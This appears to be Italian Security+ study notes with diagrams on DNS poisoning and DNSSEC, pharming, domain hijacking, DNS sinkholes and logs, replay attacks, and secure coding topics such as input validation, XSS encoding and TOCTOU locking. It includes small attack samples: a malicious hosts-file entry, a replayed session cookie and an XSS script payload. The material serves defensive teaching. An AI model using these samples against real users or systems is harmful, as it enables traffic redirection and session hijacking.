sequenceDiagram
    participant U as Utente
    participant D as DNS Server
    participant A as Attaccante
    participant R as Server Autoritativo

    U->>D: "qual è l'IP di google.com?"
    D->>R: query al server autoritativo
    A->>D: risposta falsa: google.com = 1.2.3.4 (IP malevolo)
    Note over D: nessuna firma da verificare
    Note over D: risposta falsa arriva prima — cache avvelenata
    R->>D: risposta vera: google.com = 142.250.x.x (ignorata)
    D->>U: 1.2.3.4
    U->>A: connette al sito malevolo credendo sia Google

Con DNSSEC — attacco bloccato:

sequenceDiagram
    participant U as Utente
    participant D as DNS Server (resolver)
    participant A as Attaccante
    participant R as Server Autoritativo

    Note over R: firma i record con la sua chiave privata
    U->>D: "qual è l'IP di google.com?"
    D->>R: query al server autoritativo
    A->>D: risposta falsa: google.com = 1.2.3.4 (senza firma valida)
    R->>D: risposta vera: google.com = 142.250.x.x + firma digitale
    Note over D: verifica firma risposta falsa → firma assente o non valida → SCARTATA
    Note over D: verifica firma risposta vera → firma valida → ACCETTATA
    D->>U: 142.250.x.x (IP corretto)
    U->>R: connette al sito reale

Indicatore principale: l'utente digita l'URL corretto ma viene portato su un sito diverso.

Contromisura — DNSSEC (Domain Name System Security Extensions): Aggiunge firme crittografiche ai record DNS. Il server autoritativo firma i record con la sua chiave privata — il resolver verifica la firma con la chiave pubblica. Un attaccante non può creare risposte false con firma valida senza la chiave privata. DNSSEC non cifra il traffico DNS, lo autentica.

Catena di fiducia DNSSEC — chi firma cosa e come il resolver verifica:

Il resolver non ha le chiavi pubbliche di tutti i domini — ne ha solo una hardcoded: la chiave pubblica della root zone. Da lì segue una catena di firme verso il basso fino al record richiesto.

flowchart TD
    TA["TRUST ANCHOR
    Chiave pubblica root (.) hardcoded nel resolver
    — non arriva dalla rete, è nel software stesso"]

    ROOT["ROOT ZONE (.)
    Firma la chiave pubblica di .com
    con la sua chiave privata"]

    COM[".com
    Firma la chiave pubblica di google.com
    con la sua chiave privata"]

    GOOGLE["google.com
    Firma i record DNS — A, MX, ecc.
    con la sua chiave privata"]

    RECORD["Record: google.com = 142.250.x.x
    + firma digitale di google.com"]

    VERIFY["RESOLVER — verifica bottom-up
    1. ha la chiave pubblica root → verifica firma su chiave .com ✓
    2. ora ha chiave .com → verifica firma su chiave google.com ✓
    3. ora ha chiave google.com → verifica firma sul record ✓
    Record accettato"]

    TA --> ROOT
    ROOT -->|"firma chiave pubblica"| COM
    COM -->|"firma chiave pubblica"| GOOGLE
    GOOGLE -->|"firma record"| RECORD
    RECORD --> VERIFY
    TA -.->|"punto di partenza fisso"| VERIFY

    style TA fill:#1a3a1a,stroke:#4aaf7e,color:#ffffff
    style VERIFY fill:#1a2a3a,stroke:#4a9eff,color:#ffffff
    style RECORD fill:#1a1a3a,stroke:#9b59b6,color:#ffffff
    style ROOT fill:#2a2000,stroke:#f0c040,color:#ffffff
    style COM fill:#2a2000,stroke:#f0c040,color:#ffffff
    style GOOGLE fill:#2a2000,stroke:#f0c040,color:#ffffff

È lo stesso modello dei certificati TLS: ti fidi della root CA hardcoded nel browser, e lei garantisce per le CA intermedie, che garantiscono per i siti. La root è sempre il punto di partenza fisso — non arriva dalla rete e non può essere falsificata.

Vettorerete — risposta DNS falsa iniettata nella cache del resolver
CausaDNS usa UDP senza autenticazione delle risposte — chi risponde prima vince
Effetto volutoreindirizzare gli utenti verso siti malevoli sostituendo l'IP legittimo
DifesaDNSSEC (Domain Name System Security Extensions)
Indicatorel'utente digita un URL corretto ma viene portato su un sito diverso, IP restituito dal DNS non corrisponde all'IP legittimo verificabile via DNS autoritativo esterno, certificate warning sul sito di destinazione
CIA TriadConfidentiality / Integrity — gli utenti vengono indirizzati a risorse false (I) e le loro credenziali possono essere rubate sul sito malevolo (C)
Scoperete — tutti gli utenti che usano il resolver avvelenato, potenzialmente migliaia se è un DNS server pubblico o aziendale

Pharming Attack
#

mindmap
  root((Pharming
Attack))
    What
      manipulates DNS locally
        hosts file modified
        priority over DNS
    vs DNS Poisoning
      Poisoning corrupts server
        affects many users
      Pharming corrupts client
        single machine only
    hosts file locations
      Windows System32 drivers etc
      Linux etc hosts
      macOS private etc hosts
    Defense
      EDR monitors hosts file
      file integrity monitoring

Pharming (portmanteau di "phishing" + "farming") — attacco che manipola il processo di risoluzione DNS a livello locale, sul sistema dell'utente. Come il DNS poisoning reindirizza verso siti malevoli, ma dove avviene è completamente diverso.

Differenza fondamentale — DNS poisoning vs Pharming:

DNS PoisoningPharming
Dove colpiscecache del DNS serversistema locale dell'utente
Chi viene colpitotutti gli utenti che usano quel serversolo quella macchina
Comeinietta risposta falsa nel servermodifica il file hosts
Scopeampio — potenzialmente migliaia di utentilocale — singolo dispositivo

DNS poisoning è come avvelenare il pozzo del villaggio. Pharming è come avvelenare il bicchiere di una singola persona.

Il file hosts: Presente su tutti i sistemi operativi, ha priorità assoluta sul DNS — se contiene una entry per un hostname, il sistema la usa senza mai interrogare il DNS server.

OSPercorso
WindowsC:\Windows\System32\drivers\etc\hosts
Linux/etc/hosts
macOS/private/etc/hosts

Esempio di entry malevola:

127.0.0.1       localhost
13.207.21.200   google.com

La seconda riga mappa google.com su un IP che appartiene a bing.com (o a un server malevolo). L'utente digita google.com nel browser — il sistema va all'IP nel file hosts senza chiedere al DNS. Se quell'IP punta a un server malevolo, può servire malware o una pagina di phishing identica al sito originale.

Indicatore principale: l'utente digita un URL corretto ma viene portato su un sito diverso — identico al DNS poisoning dal punto di vista dell'utente, ma con causa diversa.

Vettorelocale — file hosts del sistema operativo modificato da malware o accesso fisico
Causail file hosts ha priorità assoluta sul DNS senza alcuna verifica crittografica
Effetto volutoreindirizzare silenziosamente verso siti malevoli senza toccare DNS pubblici
Difesaprotezione accesso al file hosts, monitoraggio integrità file di sistema, EDR
Indicatorel'utente raggiunge un sito diverso da quello atteso pur digitando l'URL corretto, nslookup restituisce IP diverso da quello nel browser, modifica recente del file hosts rilevata dall'EDR o da audit di integrità
CIA TriadConfidentiality / Integrity — l'utente viene ingannato verso risorse false (I) e le credenziali possono essere rubate sul sito malevolo (C)
Scopesingolo sistema — solo la macchina con il file hosts modificato; gli altri utenti della rete non sono colpiti

URL Redirection
#

mindmap
  root((URL
Redirection))
    Legitimate Use
      site reorganization
      URL shortening
    Malicious Use
      attacker compromises site
        injects redirect
        all traffic to evil site
      Variants
        typosquatting goggle.com
        subdomain spoofing
        malicious URL shorteners
    Defense
      patch web vulnerabilities
      file integrity monitoring
      WAF blocks redirect to external

Il redirect di URL è una tecnica legittima usata per:

  • Riorganizzazione di un sito (vecchi URL che puntano alle nuove pagine)
  • URL shortening (bit.ly, tinyurl)
  • Reindirizzamento tra domini dello stesso proprietario

Diventa un attacco quando un attaccante individua una vulnerabilità in un sito web, ottiene accesso ai file sottostanti e inietta un redirect che manda tutto il traffico verso un sito malevolo. Gli utenti che visitano il sito legittimo vengono silenziosamente reindirizzati senza saperlo.

Altre tecniche di URL redirection malevola: typosquatting (goggle.com invece di google.com), subdomain spoofing (google.com.evil.com), URL shortener malevoli che nascondono la destinazione reale.

Indicatore: tenti di andare su un sito e vieni reindirizzato su un altro.

Vettoreweb — compromissione dei file del sito o social engineering con link ingannevoli
Causavulnerabilità nel sito che permette di modificare i file di configurazione o il codice
Effetto volutoreindirizzare il traffico legittimo verso un sito malevolo
Difesapatch delle vulnerabilità web, monitoraggio integrità file, WAF (Web Application Firewall)
Indicatorel'utente viene reindirizzato su un dominio diverso da quello visitato, header HTTP Location: con destinazione anomala nei log del web server, alert WAF su redirect verso URL esterni non autorizzati
CIA TriadConfidentiality / Integrity — il traffico legittimo viene dirottato verso risorse malevole (I) dove possono essere rubati dati o credenziali (C)
Scopeweb / organizzazione — tutti gli utenti che visitano il sito compromesso vengono colpiti finche' il redirect non viene rimosso

Domain Hijacking
#

mindmap
  root((Domain
Hijacking))
    Attack Chain
      compromise email account
        password reset registrar
        change nameservers
    vs DNS Poisoning
      Hijacking steals domain itself
        official records changed
      Poisoning corrupts cache
        domain still yours
    Homer Simpson Example
      weak email password
        Doh Doh
        account compromised
    Defense
      MFA on registrar AND email
      registry lock
        out-of-band verification

domain-hijacking-nameserver.webp
Hijacking = dirottamento — non si compromette il DNS server, si ruba il dominio stesso.

Gibson usa l'esempio di Homer Simpson: la password del suo account Gmail è "Doh!Doh!" — semplice, breve, indovinabile. L'attaccante ottiene accesso alla sua email, poi usa la funzione "password dimenticata" del registrar per ricevere il link di reset. A quel punto è dentro l'account del registrar e può modificare i nameserver del dominio di Homer, puntandoli verso server controllati dall'attaccante. Homer non sa nulla — non ha ricevuto nessun alert, non ha visto nulla di strano. Da quel momento tutto il traffico verso il suo dominio va all'attaccante.

Il vettore critico è l'account email, non il registrar direttamente. La catena è: email compromessa → password reset registrar → cambio nameserver. Questo è il motivo per cui "MFA sull'account email" è difesa tanto importante quanto "MFA sull'account registrar".

Registry lock è una funzione offerta da alcuni registrar che richiede una procedura out-of-band (telefono, fax, verifica fisica) prima di permettere qualsiasi modifica ai nameserver — rende impossibile il cambio automatico anche se l'account è compromesso.

La differenza chiave con DNS poisoning:

  • DNS poisoning: il dominio è ancora tuo, ma qualcuno ha avvelenato la cache di un resolver
  • Domain hijacking: il dominio non è più tuo — i record ufficiali puntano a server dell'attaccante
Vettoreaccount registrar compromesso (phishing, credential stuffing)
Causachi controlla l'account registrar controlla i nameserver del dominio
Effetto volutoreindirizzare tutto il traffico del dominio verso server controllati dall'attaccante
DifesaMFA sull'account registrar, registry lock, monitoraggio nameserver
Indicatorecambio improvviso dei nameserver del dominio nei record WHOIS, alert di monitoraggio DNS su modifica record NS, traffico verso il dominio che risponde con certificati non emessi per quel dominio
CIA TriadConfidentiality / Integrity / Availability — il dominio dirottato espone tutti gli utenti a phishing (C), serve contenuti falsi (I) e il servizio legittimo diventa irraggiungibile (A)
Scopeorganizzazione / internet — tutto il traffico globale verso il dominio colpito, inclusi siti, email, API e servizi cloud che dipendono da quel dominio

DNS Filtering
#

mindmap
  root((DNS
Filtering))
    What
      blocklist of malicious domains
        not URLs full paths
        domain level only
    Response
      NXDOMAIN
        domain does not exist
      Wrong IP
        deliberate misdirect
    Scope
      all clients using resolver
        enterprise DNS server
        Cisco Umbrella
    Limit
      blocks domain not IP
        attacker uses IP direct
        DoH bypasses local resolver

Gli amministratori usano il DNS filtering per controllare quali siti gli utenti possono raggiungere. Il meccanismo è una blocklist di domain name malevoli noti — non URL completi (il DNS non vede /path?query=..., vede solo evil-site.com). Quando un client chiede l'IP di un dominio in blocklist, il server DNS risponde con NXDOMAIN (dominio non esistente) oppure con un IP errato deliberatamente.

Importante: non è una lista di URL, è una lista di domini. Un dominio bloccato blocca tutto ciò che ci gira sotto — sito, API, sottodomini.

DNS Sinkhole
#

mindmap
  root((DNS
Sinkhole))
    What
      returns controlled IP
        not NXDOMAIN
        traffic arrives at sinkhole
    Blue Team Use
      identify infected hosts
        who queries C2 domain
      log malware behavior
      disarm botnet
    Real Case
      authorities reverse-engineer
        C2 domain hardcoded
        redirect to sinkhole
    Tools
      Cisco Umbrella
      Cloudflare Gateway
      enterprise DNS

Un DNS sinkhole è un DNS server che applica il filtering restituendo risposte errate per determinati domini. "Sinkhole" = buco del lavandino — il traffico scorre verso il buco e non arriva a destinazione.

La differenza rispetto al semplice blocco: il sinkhole non risponde con NXDOMAIN, risponde con un IP controllato — l'IP del sinkhole stesso. Il traffico arriva da qualche parte, e quella parte sei tu (il defender o le autorità). Questo permette di:

  • osservare quali macchine si connettono (chi è infetto?)
  • loggare il comportamento dei malware
  • disarmare una botnet senza toccare i computer infetti

Il caso classico descritto da Gibson: le autorità reverse-engineerano un malware, trovano i domain name dei C2 (command-and-control servers) hardcodati nel codice, coordinano con i DNS owner per redirigere quei domini verso un sinkhole controllato. I computer infetti continuano a "chiamare casa" — ma parlano con le autorità invece che con l'attaccante. La botnet è neutralizzata senza che nessun computer infetto sia stato toccato.

flowchart LR
    A[🖥️ Computer infetto] -->|"Query: evil-c2.com"| B[DNS Server]
    B -->|"Record sinkhole attivo"| C{Sinkhole IP?}
    C -->|Normale| D[❌ C2 server attaccante]
    C -->|Sinkhole attivo| E[🏛️ Sinkhole autorità]
    E -->|Log + osservazione| F[🔍 Chi è infetto?]
    style D fill:#5c1a1a,color:#ffffff
    style E fill:#1a3a1a,color:#ffffff
    style F fill:#1a2a3a,color:#ffffff

Usato da: Cisco Umbrella, Cloudflare Gateway, firewall aziendali con DNS filtering integrato.

Vettoretecnica difensiva — applicata dal DNS server locale o da un resolver controllato dall'organizzazione
Causail DNS server risponde alle query prima che il client possa raggiungere il dominio malevolo
Effetto volutoimpedire l'accesso a domini C2, phishing, malware — e nel caso del sinkhole: identificare macchine infette loggando chi si connette
Difesa(dal punto di vista dell'attaccante) uso di IP diretti invece di domain name, DNS over HTTPS (DoH) per bypassare il resolver locale, hard-coding di IP nel malware
Indicatore(Blue Team) query DNS verso domini in blocklist — ogni hit è una macchina che ha tentato di raggiungere un sito malevolo
CIA TriadAvailability (difesa) — previene che il traffico malevolo raggiunga destinazione; Confidentiality — il sinkhole rivela quali host sono compromessi
Scoperete interna — tutti i client che usano il DNS server controllato dall'organizzazione

DNS Log Files
#

mindmap
  root((DNS
Log Files))
    What is Logged
      src IP who asked
      hostname queried
      IP returned
    Blue Team Uses
      C2 detection
        malware calls home via domain
      DNS Tunneling
        long random subdomains
      Exfiltration
        data encoded in subdomains
      Newly registered domains
        registered yesterday queried today
    Key Correlation
      src IP equals infected machine
        query at 3am
        C2 domain found

I log DNS registrano ogni query di risoluzione: quale sistema ha fatto la richiesta, quale hostname ha chiesto, quale IP è stato restituito. Una riga per ogni lookup.

Gibson fa l'esempio di Bart che passa qualche ora a navigare dal suo computer aziendale. Uno dei siti visitati ha scaricato malware sul suo sistema, ma Bart non sa quale e non ricorda tutti i siti visitati. Cercando nei log DNS, gli amministratori possono ricostruire tutti i siti che ha visitato — ogni sito implica almeno una query DNS. L'elenco completo è lì, con timestamp.

Dal punto di vista Blue Team i log DNS sono una fonte di intelligence primaria:

  • Connessioni a C2: malware che chiama casa usa quasi sempre un domain name — appare nei log
  • DNS tunneling: query anormalmente frequenti o sottodomini molto lunghi e casuali sono segnali
  • Exfiltration via DNS: dati codificati nei sottodomini delle query
  • Newly registered domains: dominio registrato ieri che oggi viene interrogato da 50 macchine interne — segnale di campagna malware fresca

La correlazione chiave: IP sorgente della query = macchina che ha fatto la richiesta. Se un IP interno interroga evil-c2.ru alle 3:17 di mattina, sai esattamente quale macchina è infetta.

Vettoretecnica investigativa/difensiva — analisi passiva delle query DNS esistenti
Causaogni connessione a un sito genera una query DNS loggabile
Effetto volutoidentificare macchine infette, ricostruire la navigazione, rilevare C2 e tunneling
Difesa(dal punto di vista dell'attaccante) DNS over HTTPS (DoH) cifra le query e bypassa i log locali; hard-coding di IP nel malware evita il DNS completamente
Indicatorequery verso domini C2 noti, sottodomini casuali e lunghi (tunneling), domini appena registrati, query DNS di notte da macchine che di solito sono idle
CIA TriadConfidentiality — i log rivelano il comportamento degli utenti e delle macchine; usati difensivamente per proteggere l'organizzazione
Scoperete interna — tutte le macchine che usano il DNS server locale

Replay Attacks
#

mindmap
  root((Replay
Attacks))
    What
      capture session data
        not decrypt it
        resend as-is
    Credential Replay
      session cookie or token
        abc123def456
        server validates token not content
      Kerberos TGT
        captured and replayed
    Why It Works
      no contextual expiry
        valid token accepted anywhere
    Countermeasures
      Timestamps
        reject stale messages
      Sequence Numbers
        reject already-seen packet
      MFA OTP
        second factor changes each time

replay-attack-credential-capture.webp
Un replay attack avviene quando un attaccante cattura dati di una sessione di comunicazione e li rimanda come se fosse uno dei partecipanti originali. Non deve capire i dati, non deve decifrarli — gli basta rimandarli.

Perché si chiama "replay"? Dal mondo audio/video: replay = riproduzione di qualcosa già accaduto. Come premere ▶ su un registratore — riproduci esattamente lo stesso nastro. In football americano si chiama "instant replay" la moviola che rimanda l'azione identica. In security: l'attaccante ha registrato il pacchetto di autenticazione originale e lo "rimanda" al server come se lo stesse mandando lui adesso. Non è un attacco nuovo — è la stessa comunicazione, ritrasmessa.

L'esempio classico di Gibson: Maggie e Bart avviano una sessione e si autenticano a vicenda. Harry intercetta tutto il traffico, incluse le credenziali. Più tardi Harry apre una nuova conversazione con Maggie spacciandosi per Bart. Quando Maggie sfida Harry con una challenge, il suo sistema risponde con le credenziali di Bart — credenziali reali, rubate dalla sessione originale. Maggie non sa la differenza.

Questo specifico scenario si chiama credential replay — le credenziali catturate vengono riutilizzate per autenticarsi come un altro utente.

Attenzione: non viene rimandata username e password in chiaro — viene rimandato il pacchetto.

Questo è il punto che inganna. Non si tratta di rubare username=franco&password=Meow1234 — quella roba viaggia cifrata dentro TLS e non è leggibile. Quello che viene catturato e riusato è il pacchetto cifrato così com'è — ad esempio un session cookie o un token di autenticazione valido:

Cookie: session=abc123def456   ← catturato dal Cane, rimandato identico

Il server non decifra il pacchetto per "vedere" le credenziali dentro — verifica solo che il token sia valido. Se lo è, autentica chiunque lo presenti. Il Cane non sa cosa c'è dentro il pacchetto, non gli serve: è come copiare una chiave fisica senza sapere come funziona la serratura.

Esempio con Kerberos: l'attaccante cattura un TGT (Ticket Granting Ticket) — un blob cifrato con firma, timestamp e identità dell'utente. Non lo decifra. Lo rimanda al Key Distribution Center tale e quale. Senza timestamp di scadenza, il KDC verifica solo la firma — è valida → accesso concesso.

I replay attack funzionano su reti sia wired che wireless.

Contromisure:

  • Timestamp: ogni messaggio include l'ora in cui è stato generato. Se il server riceve un messaggio con timestamp vecchio di più di X secondi, lo rifiuta. Harry non può reiniettare le credenziali di ieri perché il server le considererebbe scadute.
  • Sequence numbers: ogni pacchetto ha un numero progressivo. Il server accetta solo il numero successivo a quello già ricevuto — un pacchetto già visto ha un numero "già usato" e viene scartato.
  • MFA (Multi-Factor Authentication): anche se Harry cattura le credenziali statiche, il secondo fattore (OTP, TOFU, push notification) cambia ad ogni sessione — non può essere riutilizzato.

Kerberos è l'esempio principale usato da Gibson: usa ticket con timestamp che scadono — un ticket vecchio viene rifiutato automaticamente anche se è autentico.

Note

Exam tip: replay attacks catturano dati di sessione per impersonare uno dei partecipanti. Le contromisure sono timestamp, sequence numbers e MFA.

Warning

Il replay attack è sempre e solo ritrasmissione di un pacchetto già visto.

Vettorerete — intercettazione passiva del traffico (sniffing), poi reiniezione attiva
Causale credenziali o i token di sessione non hanno scadenza contestuale — possono essere riusati fuori dal loro contesto originale
Effetto volutoimpersonare un utente legittimo riusando le sue credenziali catturate, bypassare l'autenticazione
Difesatimestamp con finestre temporali strette, sequence numbers, nonce (number used once), MFA con OTP, Kerberos
Indicatorestesso token o credential usato da due IP diversi in breve tempo, autenticazioni duplicate con identico payload, anomalie nei sequence numbers
CIA TriadConfidentiality / Integrity — l'attaccante si autentica come utente legittimo e può leggere o modificare dati riservati
Scopesessione specifica — colpisce la comunicazione tra due sistemi; se le credenziali sono riusabili su altri sistemi, lo scope si allarga

Secure Coding Concepts
#

mindmap
  root((Secure Coding
Concepts))
    Input Validation
      Client-side
        bypassable Burp Suite
        UX improvement only
      Server-side
        cannot be bypassed
        primary defense
      Techniques
        allowlist blocklist
        prepared statements
        HTML encoding
    Race Conditions
      TOCTOU
        check use gap
        symlink attack
      Fix
        atomic transactions
        pessimistic lock
    Error Handling
      Generic to user
      Detailed in logs
      No debug in prod
    Code Quality
      Code Signing
        digital signature cert
        SmartScreen Gatekeeper
      Static SAST
        no execution needed
      Dynamic Fuzzing
        random input crashes
      Stress Testing
        load limits behavior
      Sandboxing
        isolated environment
    Secure Architecture
      HTTP Headers HSTS CSP X-Frame
      Secure Cookies
        Secure HttpOnly SameSite
      Dev Environment
        dev test staging prod QA
    Database and Web
      SQL Injection
        or 1 equals 1
        stored procedures
      XSS
        Reflected Stored DOM
      Directory Traversal
        basename defense
    Memory and Injection
      Buffer Overflow
        DoS privilege escalation
      DLL Injection
        LD PRELOAD
        Heartbleed CVE-2014-0160
      Memory Leak
        unclaimed malloc

secure-coding-concepts-overview.webp
Le applicazioni sono spesso il vettore d'ingresso per gli attaccanti — se sviluppate senza secure coding concepts, diventano porte aperte. Questa sezione copre le tecniche che i developer usano per creare applicazioni sicure. Importante per Security+: non serve saper scrivere il codice, serve capire i concetti e riconoscere le vulnerabilità.

Input Validation
#

mindmap
  root((Input
Validation))
    Purpose
      check data before use
        sanitize removes malicious
        reject shows error
    Attacks Prevented
      Buffer Overflow
      SQL Injection
      DLL Injection
      XSS
    Checks
      allowed characters only
      block HTML tags
      block special chars
      boundary range check

Input validation = controllare i dati in ingresso prima di usarli. L'obiettivo è impedire che un attaccante invii codice malevolo che l'applicazione eseguirà. Si fa in due modi: sanitizing (rimuove il codice malevolo dall'input) o rejecting (rifiuta l'input non valido e mostra un errore).

La mancanza di input validation è una delle vulnerabilità più comuni nelle web application — permette buffer overflow, SQL injection, DLL injection, XSS. Tutti attacchi che vedremo dopo.

Esempio concreto: un campo "nome" su un form. Un nome valido ha solo lettere, max 25 caratteri. Se l'utente inserisce numeri, punto e virgola, o codice HTML — fallisce la validity check, l'applicazione rifiuta l'input e mostra un errore. Non crasha, non esegue il codice malevolo.

Check comuni di input validation:

CheckCosa faAttacco che previene
Verifica caratteri permessisolo lettere, solo numeri, solo formato specifico (###-###-####)injection, XSS
Blocca HTML coderileva < e > e non li usaCross-Site Scripting (XSS)
Blocca caratteri specialiblocca -, ', = e similiSQL injection
Boundary / range checkingverifica che i valori siano nell'intervallo atteso (quantità max 3)overflow, logica business

In NestJS — questa è esattamente la ValidationPipe con class-validator:

import { IsString, MaxLength, IsAlpha } from 'class-validator';

export class CreateUserDto {
  @IsString()
  @IsAlpha()        // solo lettere — blocca HTML e injection
  @MaxLength(25)    // boundary check
  firstName: string;
}

// main.ts
app.useGlobalPipes(new ValidationPipe({ whitelist: true }));

whitelist: true rimuove automaticamente tutti i campi non dichiarati nel DTO — è input sanitization: anche se l'attaccante manda campi extra o payload malevoli nel body, non raggiungono mai il service layer.

Client-Side and Server-Side Input Validation
#

mindmap
  root((Client vs
Server Validation))
    Client-Side
      runs in browser
        before data sent
      Bypassable
        disable JS
        Burp Suite intercept
      Purpose UX only
    Server-Side
      runs on server
        after data arrives
      Cannot bypass
        primary security layer
    Best Practice
      use both
        UX from client-side
        security from server-side

La validazione può avvenire lato client (browser, prima che i dati vengano inviati) o lato server (dopo che i dati arrivano). Molte applicazioni usano entrambe — per motivi diversi.

Client-side validation — il codice di validazione è incluso nella pagina HTML inviata al browser. Se Homer inserisce quantità 4 quando il massimo è 3, il codice HTML gli mostra un errore senza nemmeno contattare il server — nessun round-trip.

  • Veloce, migliora la UX
  • Non è sicurezza — bypassabile in due modi:
    • Disabilitare JavaScript nel browser → la validazione non gira
    • Usare un web proxy (es. Burp Suite) per catturare l'HTTP POST e modificare i dati dopo che il browser li ha validati, prima che arrivino al server

Server-side validation — i dati arrivano al server e vengono controllati lì, indipendentemente da cosa ha fatto il client. L'attaccante non può bypassarla — il server controlla sempre.

Usarle entrambe dà velocità + sicurezza: la client-side riduce i round-trip inutili, la server-side è il controllo finale prima che i dati vengano usati.

Note

Exam tip: la mancanza di input validation è uno dei problemi di sicurezza più comuni nelle web app. Server-side validation è più sicura di client-side. Input validation protegge da buffer overflow, SQL injection, DLL injection e XSS.

Dal punto di vista dev: in NestJS la ValidationPipe è server-side per definizione — gira sul server Node.js dopo che il payload HTTP è arrivato. La validazione HTML5 nel browser (required, maxlength, pattern) è client-side e non basta da sola. Burp Suite intercetta la POST dopo la validazione del browser e prima che arrivi al server — esattamente il gap che Gibson descrive.

Other Input Validation Techniques
#

mindmap
  root((Validation
Techniques))
    HTML Encoding
      escape special chars
        lt gt to entities
        script becomes text
    Allowlist
      defines what is permitted
        everything else rejected
        safer than blocklist
    Blocklist
      defines what is forbidden
        bypassable with encoding
    Prepared Statements
      SQL template with placeholders
        params always treated as data
        primary SQLi defense
    Libraries
      OWASP ESAPI
        multi-language toolkit
      dompurify sanitize-html

Le tecniche aggiuntive di input validation si concentrano sul sanitizzare HTML e URL prima di inviarli al browser — il processo si chiama HTML escaping o HTML encoding.

L'idea è semplice: se un attaccante riesce a iniettare <script> in un campo, il browser lo eseguirà come codice. Se invece si codifica il carattere > con il suo equivalente ASCII &gt;, il browser lo renderizza come testo letterale — non lo esegue. Il codice iniettato diventa inoffensivo.

Input malevolo:   <script>alert('XSS')</script>
Dopo encoding:    &lt;script&gt;alert('XSS')&lt;/script&gt;
Browser mostra:   <script>alert('XSS')</script>  ← testo, non codice

Seguire linee guida specifiche su dove e come inserire dati untrusted nelle pagine web previene XSS, SQL injection e directory traversal.

OWASP ESAPI (Enterprise Security API) — libreria open source gratuita disponibile per molti linguaggi di programmazione. Include un set completo di tool per la sicurezza, tra cui funzioni di input validation e output encoding già pronte. Non serve implementare da zero — si usa la libreria.

Altre tecniche:

  • Allowlisting (whitelist): definisce esplicitamente cosa è permesso — tutto il resto è rifiutato. Più sicuro della blocklist perché non devi prevedere ogni variante di attacco.
  • Blocklisting (blacklist): definisce cosa è vietato — tutto il resto passa. Meno sicuro: gli attaccanti aggirano le liste con encoding, maiuscole, caratteri Unicode equivalenti.
  • Parametrized queries / prepared statements: non si costruisce la query SQL concatenando stringhe — si usa un template con placeholder. Il database tratta i parametri sempre come dati, mai come codice SQL. Difesa primaria contro SQL injection.

Dal punto di vista dev: in PHP hai htmlspecialchars() per l'HTML encoding. In Node/NestJS usi librerie come dompurify o sanitize-html per sanitizzare HTML in input. L'ORM (TypeORM, Prisma) gestisce automaticamente i prepared statements — è uno dei motivi per cui usare un ORM invece di query raw è una scelta di sicurezza oltre che di comodità.

Regola mnemo: validate input, encode output.

Avoiding Race Conditions
#

mindmap
  root((Race
Conditions))
    What
      two processes same resource
        result depends on who wins
      seat 14A example
        both book same seat
    TOCTOU
      Time of Check to Time of Use
        gap between check and use
      Attacker acts in gap
        symlink swap
        data changes after verify
    Fix
      atomic transactions
        lock acquired at check
      pessimistic lock
        no other access until done
    Contexts
      Database check then withdraw
      Filesystem check then open
      API check then confirm order

Una race condition si verifica quando due o più processi tentano di accedere alla stessa risorsa contemporaneamente e il risultato dipende da chi arriva prima — generando un conflitto imprevedibile.

L'esempio di Gibson: stai comprando un biglietto aereo e selezioni il posto 14A. Nello stesso istante un'altra persona seleziona lo stesso posto. Entrambi completate l'acquisto simultaneamente — entrambi avete un biglietto con lo stesso numero di posto. Arrivi dopo, l'altro passeggero non si sposta, e finisci seduto tra due persone di grossa corporatura a dieta di cavolo. Non felicissimo.

La maggior parte dei database ha meccanismi di concurrency control integrati. Il problema emerge quando i developer web inesperti non li usano.


TOCTOU — Time of Check to Time of Use
#

mindmap
  root((TOCTOU))
    Name
      Time of Check to Time of Use
        state attack
        TOE Target of Evaluation
    The Gap
      CHECK resource OK
        window open
      USE resource changed
        attacker acted in window
    Attack Examples
      filesystem symlink swap
        check file A
        attacker replaces with B
      seat booking
        check available
        another books same seat
    Fix
      lock at check time
        freeze closes window
      atomic operation
        check and use inseparable

TOCTOU (pronuncia: "tock-too") è il nome della vulnerabilità specifica nelle race condition. È anche chiamato state attack. Il sistema colpito si chiama TOE (Target of Evaluation).

Il problema fondamentale: check e use sono due operazioni separate nel tempo. Tra di esse esiste una finestra — piccola ma reale — in cui la risorsa può cambiare.

[TIME OF CHECK] Sistema verifica → risorsa OK, accesso consentito
   FINESTRA  ← l'attaccante agisce qui
[TIME OF USE]  Sistema usa → ma la risorsa non è più quella verificata

TOCTOU non è il freeze del posto — è l'assenza del freeze. Il freeze è la difesa.

SENZA protezione (TOCTOU vulnerabile):
  CHECK  → posto 14A libero? SÌ
           [nessun lock — finestra aperta]
           Charlie prenota 14A nello stesso istante
  USE    → conferma a Franco: "posto 14A prenotato"
  Risultato: due persone con lo stesso posto

CON protezione (TOCTOU risolto):
  CHECK  → posto 14A libero? SÌ
           [FREEZE immediato — lock acquisito]
           Charlie tenta → "non disponibile"
  USE    → conferma a Franco: "posto 14A prenotato"
  Risultato: un solo proprietario

Esempio filesystem (Gibson): Homer vuole aprire un file. Il sistema operativo verifica i permessi — accesso consentito. Se l'attaccante usa un symlink per sostituire il file originale con uno malevolo nella finestra tra check e use, il sistema esegue il file sbagliato pur avendo validato quello giusto.

TOCTOU non è solo un problema di database — è un problema di atomicità ovunque ci sia una sequenza check→use non protetta:

ContestoEsempioSoluzione
Databasecontrolla saldo → prelevatransaction + lock
Filesystemcontrolla permessi → apre filefile lock, no symlink su path critici (esempio vim .swp)
API RESTcontrolla disponibilità → conferma ordineidempotency key + lock distribuito
Memoria condivisalegge valore → scrive nuovo valoremutex / semaforo

In NestJS/TypeORM la soluzione è la transaction con pessimistic lock — check e use diventano un'operazione atomica indivisibile:

await dataSource.transaction(async (manager) => {
  const seat = await manager.findOne(Seat, {
    where: { id: seatId },
    lock: { mode: 'pessimistic_write' }  // nessun altro può leggere/scrivere
  });
  if (seat.available) {
    seat.available = false;
    await manager.save(seat);
  }
});
Vettoreapplicazione — finestra temporale tra il check dei permessi e l'uso della risorsa
Causaassenza di atomicità tra time of check e time of use — la risorsa può essere modificata nel mezzo
Effetto volutosostituire un file legittimo con uno malevolo, accedere a risorse non autorizzate, corrompere dati
Difesatransazioni atomiche, locking (pessimistic/optimistic), double-check al time of use, evitare symlink su path critici
Indicatoreaccesso a file con timing anomalo, symlink che puntano a destinazioni inattese, modifiche a file nel mezzo di una transazione
CIA TriadIntegrity — la risorsa usata non è quella verificata; Confidentiality se la risorsa è un file riservato
Scopeapplicazione / sistema operativo — colpisce il processo che esegue il check, non la rete

Proper Error Handling
#

mindmap
  root((Error
Handling))
    Rule
      Generic to user
        no internal details
      Detailed in logs
        full stack trace
    Why It Matters
      unhandled error exposes
        DB type and version
        internal paths
